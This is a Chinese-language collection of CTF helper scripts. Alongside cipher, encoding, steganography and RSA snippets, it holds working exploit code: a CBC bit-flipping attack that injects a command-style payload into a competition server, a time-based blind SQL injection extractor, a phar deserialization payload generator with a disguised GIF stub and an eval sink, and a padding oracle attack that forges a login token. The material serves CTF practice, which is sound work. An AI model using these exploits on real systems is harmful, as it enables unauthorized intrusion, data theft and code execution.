CTF辅助脚本

首先推荐这篇文章，网上有多次转载，这是我见过日期比较早的 CTF中那些脑洞大开的编码和加密

凯撒密码

flag='flag{abcdef}'
c=''
n=20
for i in flag:
    if 'a' <= i <='z':
        i=chr(((ord(i)-ord('a'))+n)%26+ord('a'))
    c+=i
print c

栅栏密码

n= 5
m = "flag{0123456789abcdef}"
c=''
for x in range(n):
    for i in range(len(m)):
        if((n - i + x) % n == 0):
            c+=m[i]
print c

n=5
m=''
c=list(c)
zero=(n-len(c))%n
n=(len(c)+zero)/n
if zero != 0: 
    for i in range(1,zero):
        c.insert(-n*i+1,'0')
    c.append('0')
for x in range(n):
    for i in range(len(c)):
        if((n - i + x) % n == 0):
            m+=c[i]
if zero!= 0:
    m=m[:-zero]
print m

曼彻斯特编码与解码

flag = bin(int('flag{0123456789abcdef}'.encode('hex'),16))[2:]
s='00'
for i in range(len(flag)):
    if flag[i]=='1':
        s+='10'
    else:
        s+='01'
print hex(int(s,2))[2:-1]
#296969a56956696a6a9a5a555a565a595a5a5a655a665a695a6a5a955a9669566959695a6965696669696aa6
r=""
for i in range(len(s)/2):
    if s[i*2:i*2+2] == '10':
        r += '1'
    else:
        r += '0'
print hex(int(r,2))[2:-1].decode('hex')
#flag{0123456789abcdef}

差分曼彻斯特编码与解码

#coding=utf-8
flag = bin(int('flag{0123456789abcdef}'.encode('hex'),16))[2:]
s='01' # or '10'
for i in range(len(flag)):
    if flag[i]=='1':
        s+=s[-2:][::-1]
    else:
        s+=s[-2:]
print hex(int(s,2))[2:-1]
#6565659565569a99665959555956a6a55959596aa696a69aa69959aaa6569aa9655a9aa69a95656965656669
r=""
tmp = 0
for i in xrange(len(s)/2):
    c = s[i*2]
    if c == s[i*2 - 1]:
        r += '1'
    else:
        r += '0'
print hex(int(r,2))[2:-1].decode('hex')
#flag{0123456789abcdef}

 lsb隐写

#coding=utf-8
from PIL import Image
import binascii
import random

im_path = 'timg.jpg'
im = Image.open(im_path)
width, height = im.size
newImg = Image.new("RGBA",(width, height),(255,255,255,120)) 
for i in range(0,height):
    for j in range(0,width):
        a,b,c=im.getpixel((j,i))
        newImg.putpixel((j,i),(a,b,c,180))
newImg.save('new.bmp','PNG')

flag=binascii.b2a_hex('flag{123456}')
flag= bin(int(flag,16))[2:]
flag= '0'*(8-len(flag)%8)+flag
print flag

newImg = Image.new("RGB",(width, height),(0,0,0)) 
for i in range(0,height):
    for j in range(0,width):
        a,b,c=im.getpixel((j,i))
        try: #将末尾像素置0后写入
            newImg.putpixel((j,i),(a-a%2+int(flag[i*width+j]),b-b%2+int(flag[i*width+j]),c-c%2+int(flag[i*width+j])))
        except:
            try: #其余像素奇偶随机
                newImg.putpixel((j,i),(a-random.randint(0,1),b-random.randint(0,1),c-random.randint(0,1)))
            except:
                newImg.putpixel((j,i),(a,b,c))
newImg.save('new.png','PNG')

 cbc字节翻转攻击

import requests
enc='2363303cf2fae8b1bbe443fe2d12947e5abcf9c0ceb12ce5fd3a43504de0bf0621b9917a715dad17f828ff0ace6ec816'.decode('hex')
m='Welcome to the code system!This is a test string'
fake='uu=admin&ff=php://input&ccc=nl *'

iv=enc[16:32]
m1=m[32:]
fake1=fake[16:]
fake_iv=''

for i in range(16):
    fake_iv+=chr(ord(iv[i])^ord(fake1[i])^ord(m1[i]))
enc=enc[:16]+fake_iv+enc[32:]

m=requests.get('http://race.taropowder.cn:20002/?s='+enc.encode('hex')).content

iv=enc[:16]
m2=m[16:32]
fake2=fake[:16]

fake_iv=''
for i in range(16):
    fake_iv+=chr(ord(iv[i])^ord(fake2[i])^ord(m2[i]))
enc=fake_iv+enc[16:]

m=requests.post('http://race.taropowder.cn:20002/?s='+enc.encode('hex'),data='phpinfo').content

print m

flask session伪造

from flask import Flask,  session
import uuid
import urllib.request
app = Flask(__name__)
app.config['SECRET_KEY']='123456'


@app.route('/')
def index():
    session['username']='user'
    session['isadmin']='1'
    return 'hello'
    
if __name__ == "__main__":
    app.run(debug=True,port=8000,host="0.0.0.0")

RSA demo

from gmpy2 import *
e=65537
p=56225103425920179745019828423382255030086226600783237398582720244250840205090747144995470046432814267877822949968612053620215667790366338413979256357713975498764498045710766375614107934719809398451422359883451257033337168560937824719275885709824193760523306327217910106187213556299122895037021898556005848927
q=56225103425920179745019828423382255030086226600783237398582720244250840205090747144995470046432814267877822949968612053620215667790366338413979256357713975498764498045710766375614107934719809398451422359883451257033337168560937824719275885709824193760523306327217910106187213556299122895037021898556005848447
n=p*q
c=631583911592660652215412683088688785438938386403323323131247534561958531288570612134139288090533619548876156447498627938626419617968918299212863936839701943643735437264304062828205809984533592547599060829451668240569384130130080928292082888526567902695707215660020201392640388518379063244487204881439591813398495285025704285781072987024698133147354238702861803146548057736756003294248791827782280722670457157385205787259979804892966529536902959813675537028879407802365439024711942091123058305460856676910458268097798532901040050506906141547909766093323197363034959926900440420805768716029052885452560625308314284406
x=long((p-1) * (q-1))
d= invert(e,x)
m=pow(c,d,n)
print hex(m)[2:].decode('hex')

 SQL注入辅助

import requests
import time
url='http://172.16.124.149/Less-10/?id='
flag=''
for i in range(1,20):
    left=33
    right=128

    while right-left!=1:
        mid=(left+right)/2
        payload='0"^(substr((select+binary+flag+from+flag.flag),{i},1)>binary+{mid}+and+sleep(0.02))%23'.format(i=i,mid=hex(mid))
        t1=time.time()
        r=requests.get(url=url+payload)
        t2=time.time()
        if t2-t1 > 0.2:
            left=mid
        else:
            right=mid
    flag+=chr(right)
    print flag

phar反序列化demo

<?php
//把要进行反序列化的对象放在此处
class foo
{
    var $ha = 'echo "ok";';
    function __destruct()
    {
        eval($this->ha);
    }
}
    //生成对应可被利用的对象
    $o = new foo();
　　 $o->ha='echo "error";';
    @unlink("phar.phar");
    $phar = new Phar("phar.phar");
    $phar->startBuffering();
    $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub，增加gif文件头用以欺骗检测
    $phar->setMetadata($o); //将自定义meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

 padding oracel

import requests
import urllib

host='124.193.74.211'
port='55769'
#host='127.0.0.1'
#port='80'
url='http://%s:%s/login.php'%(host,port)
session = requests.session()
session.post(url=url,data={'username':'admin','password':'admin'})

im=[]
for i in range(1,17):
    try:
        s=''
        xx=''
        for j in im[::-1]:
            xx+=chr(i^j)
        for j in range(256):
            s='xff'*(16-i)+chr(j)+xx
            s=s.encode('base64')
            session.cookies.set('token',urllib.quote(s),domain=host,path='/')
            x=session.get(url).text
            if 'Error' not in x:
                im.append(j^i)
                print s.decode('base64').encode('hex')
                break
        print im
    except Exception as e:
        print e,'
'

for j in range(256):
    
    s='x0f'*15
    token=''
    for i in range(15):
        token+=chr(im[::-1][i]^ord(s[i]))
    token=chr(j)+token
    token=token.encode('base64')
    session.cookies.set('token',urllib.quote(token),domain=host,path='/')
    x=session.get(url).text
    if 'Error' in x:
        im.append(j^ord('0'))
        print im
        break

im=im[::-1]
s='onepiece'+chr(8)*8
token=''
for i in range(16):
    token+=chr(im[i]^ord(s[i]))
token=token.encode('base64')[:-1]
session.cookies.set('token',urllib.quote(token),domain=host,path='/')
x=session.get(url).text
print session.cookies,x

 爆破图片crc

import binascii

for i in range(16**4):
    i=hex(i)[2:].zfill(4)
    for j in range(16**4):
        j=hex(j)[2:].zfill(4)
        s= '%08x' % (binascii.crc32('IHDR'+'0000{i}0000{j}0802000000'.format(i=i,j=j).decode('hex')) & 0xffffffff)
        if s=='53d1578a':
            print 'x:',i,'y:',j,'crc:',s
    print 'x:',i